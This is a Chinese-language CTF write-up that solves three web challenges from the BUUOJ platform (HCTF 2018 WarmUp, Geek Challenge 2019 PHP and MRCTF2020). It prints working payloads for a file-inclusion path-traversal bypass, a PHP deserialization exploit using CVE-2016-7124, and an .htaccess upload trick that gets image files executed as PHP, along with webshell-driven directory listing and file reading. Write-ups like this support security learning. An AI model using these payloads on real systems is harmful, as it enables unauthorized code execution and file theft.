CTF玩耍系列[1] - [HCTF 2018]WarmUp | [极客大挑战 2019]PHP | [MRCTF2020]你传你🐎呢

周末玩了玩CTF,做个小记录

平台地址:

https://buuoj.cn/


[HCTF 2018]WarmUp

访问靶机,只发现一滑稽.

查看网页源码,发现注释写着 source.php。遂访问之。得到一个 highlight_file 的 php 源码

代码可以阉割成如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
public static function checkFile(&$page)
{
//白名单
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];

// $page 必须是字符串,不能传入数组
if (! isset($page) || !is_string($page)) {
return false;
}

//字符串切割,只保留 ? 前面的部分
//注意,这里切割之后的值是保存在 $_page 中,并不是修改了 $page。所以原来的 $_REQUEST['file'] 并没有改变
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);

//判读 $_Ppage 是否在白名单中
if (in_array($_page, $whitelist)) {
return true;
}

echo "you can't see it";
return false;
}

if (checkFile($_REQUEST['file']))
//文件包含
include $_REQUEST['file'];
?>

由于白名单中提示了一个 hint.php 。访问之。提示:

1
flag not here, and flag in ffffllllaaaagggg

综合以上的分析,我们得知虽然在 checkFile() 函数中,会对 $_REQUEST['file'] 进行截取,保留 ?符号 前面的部分存入 $_page 中。但是最后 inlucde 的还是原始的 $_REQUEST['file']


绕过 PAYLOAD:

1
?file=source.php?/../hint.php

source.php 后面紧跟着 ? 号。确保在 checkFile() 中能够返回 true。

source.php?/ 一起组合成了 source.php?/。php 将会将其当作一个目录名,即使这个目录不存在。接着使用 ../ 跳出目录,包含 hint.php 以验证 payload。


实验证明,上述 payload 确实有效。

获取 flag 的姿势也是一样的,就改个文件名和路径而已。 需要注意的是flag 在 Linux 根目录下而不是和 Web 同级。


[极客大挑战 2019]PHP

访问靶机,发现提示 备份网站。遂开 burp 跑字典

推荐下 key师傅 的字典。这里跑的字典用的是 Dir/Ctf.txt

https://github.com/gh0stkey/Web-Fuzzing-Box

获得备份文件 www.zip。下载解压


index.php 源码可以阉割成这样:

1
2
3
4
5
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

class.php 源码可以阉割成这样如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
include 'flag.php';

class Name{
//魔术方法。在反序列化时自动调用
function __wakeup(){
$this->username = 'guest';
}
//析构方法,在类执行完毕资源回收时自动调用
function __destruct(){
if ($this->password != 100) {
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}
}
}
?>

看到一个 __wakeup() 。这个函数会将 $this->username 赋值为 guest。可是其值需要为 admin 才能获取 flag。

我们可以试试 CVE-2016-7124。这个 CVE 是专门针绕过 __wakeup()方法的。影响范围为 PHP before 5.6.25 and 7.x before 7.0.10

利用方式为,当序列化字符串中 ,若对象属性数大于实际属性数时, __wakeup() 将不会被自动调用

若不会PHP反序列化,安利下之前写过的一篇文章 :)

https://www.freebuf.com/articles/web/209975.html


poc:

1
2
3
4
5
6
7
class Name{
private $username = 'admin';
private $password = 100;
}

$a = new Name();
var_dump(serialize($a));

1
2
3
php5.6 ttt.php
/var/www/html/ctf/ttt.php:12:
string(106) "O:4:"Name":3:{s:14:"\000Name\000username";s:5:"admin";s:14:"\000Name\000password";i:100;s:15:"\000Name\000password2";i:100;}"

1
2
3
4
原 payload。实际对象属性数为2
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
修改后 payload。注意对象属性数被修改为 3,比实际对象属性数大
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

payload打上去即显示 flag


[MRCTF2020]你传你🐎呢

参考:

https://book.hacktricks.xyz/pentesting-web/file-upload


这道题只要上传文件名为 .php* .phtml* 都会被拦截。

另辟蹊径,上传 .htaccess 进行绕过。.htaccess 内容为 当前目录下所有 .jpg 后缀文件都以 php 进行解析

.htaccess

1
2
3
<Files *.jpg>
ForceType application/x-httpd-php
</Files>

上传成功后再传个普通的 php一句话即可,查看 phpinfo()

disable_functions:

1
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld	

由于只是 get flag。那就不 getshell了。 bypass disable_function 过几天本地搭建研究下(挖一坑)。直接使用 php 内置的扫目录和读文件命令 scandirfile_get_contents 来进行读 flag 操作


payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[扫目录]
var_dump(scandir("../../../../../../"));

[OUTPUT:]
...
flag
...

=============
[读flag]
var_dump(file_get_contents("../../../../../../flag"));

[OUTPUT:]
...
flag{xxxxxxx}
...